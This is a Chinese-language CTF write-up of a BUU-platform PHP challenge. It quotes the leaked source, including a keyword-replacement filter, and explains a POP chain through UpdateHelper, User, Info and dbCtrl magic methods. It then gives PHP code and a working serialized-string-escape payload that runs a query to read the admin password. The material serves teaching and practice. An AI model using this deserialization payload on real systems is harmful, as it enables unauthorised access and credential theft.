考点:php序列化pop链 序列化字符串逃逸
打开题目按照管理先扫描目录
使用dirsearch 扫描出来了 flag.php login.php
使用御剑什么都没有扫出来
使用dirbuster什么都没有
这个貌似是BUU平台问题……
打开题目

发现登录框,尝试弱口令登录,并且爆破用户名与密码,查看图片
失败
查看大佬的wp,存在www.zip(没扫出来…………)
查看www.zip,解压后查看代码
关键代码
//update.php$users=new User(); //创建类$users->update(); // 调用user类的update函数if($_SESSION['login']===1){require_once("flag.php");echo $flag;}// user类的update函数public function update(){//调用了getNewinfo函数$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;//定义了一个UpdateHelper类$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}// 输入点 age 与 nickname 参数可控public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];//创建了一个Info类并且序列化使用safe过滤return safe(serialize(new Info($age,$nickname)));}function safe($parm){$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");return str_replace($array,'hacker',$parm);} // 字符串替换// Info 类class Info{public $age;public $nickname;public $CtrlCase;public function __construct($age,$nickname){$this->age=$age;$this->nickname=$nickname;}// 在对象上下文中调用不可访问的方法时触发// __call 中的参数,$name 需要调用的方法的名称,$arguments是一个数组,其中包含传递给方法$name的参数public function __call($name,$argument){echo $this->CtrlCase->login($argument[0]);//此处$argument[0]就为age}}
这里如何触发__call()函数
// user类// 把类当成字符串使用时触发,返回值需要为字符串public function __toString(){$this->nickname->update($this->age);return "0-0";}// 这里user类中调用了Info类中不存在的update函数,因此这里会自动调用__call()函数
class dbCtrl{public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name;public $password;public $mysqli;public $token;public function __construct(){$this->name=$_POST['username'];$this->password=$_POST['password'];$this->token=$_SESSION['token'];}public function login($sql){$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {die("连接失败,错误:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);$result->bind_param('s', $this->name);$result->execute();$result->bind_result($idResult, $passwordResult);$result->fetch();$result->close();if ($this->token=='admin') {return $idResult;}if (!$idResult) {echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密码错误!');return false;}$_SESSION['token']=$this->name;return $idResult;}public function update($sql){//还没来得及写}}
Class UpdateHelper{public $id;public $newinfo;public $sql;public function __construct($newInfo,$sql){$newInfo=unserialize($newInfo);$upDate=new dbCtrl();}public function __destruct(){echo $this->sql;}}//这里如果sql为类的话就会调用user的__string()函数
pop 链思路 :利用 UpdateHelper类的destruct函数触发User类的tostring函数再触发Info类的__call()函数
把 $this->CtrlCase实例化dbctrl 对象,再调用dbctrl类的login函数,通过查询语句把admin账户的密码查出来
//payload<?phpclass User{public $id;public $age = null;public $nickname = null;}class Info{public $age;public $nickname;public $CtrlCase;public function __construct($age,$nickname){$this->age = $age;$this->nickname = $nickname;}}class UpdateHelper{public $id;public $newinfo;public $sql;public function __construct($newInfo,$sql){$newInfo = unserialize($newInfo);$upDate = new dbCtrl();}}class dbCtrl{public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name = "admin";public $password;public $mysqli;public $token = "admin";}$db = new dbCtrl();$user = new User();$info = new Info("lcdm123","lcdm123");$updatehelper = new UpdateHelper("lcdm123","lcdm123");$info->CtrlCase = $db;$user->nickname = $info;$user->age = "select password,id from user where username=?";$updatehelper->sql = $user;$realinfo = new Info("lcdm123","lcdm123");$realinfo->CtrlCase = $updatehelper;echo serialize($realinfo);//O:4:"Info":3:{s:3:"age";s:7:"lcdm123";s:8:"nickname";s:7:"lcdm123";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:7:"lcdm123";s:8:"nickname";s:7:"lcdm123";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}


最终payload
这样构造的原因:将之前的序列化字符串删除info的部分(因为传入参数时会自动构造info),添加(”;s:8:”CtrlCase”;)的原因是因为传入参数的时候没有CtrlCase参数,需要自己提前构造好利用php反序列化字符串逃逸的方法传入
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:7:"lcdm123";s:8:"nickname";s:7:"lcdm123";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
传入payload,获取到密码的payload(需要手动删除后面的0-0)

获得密码

登录获取flag

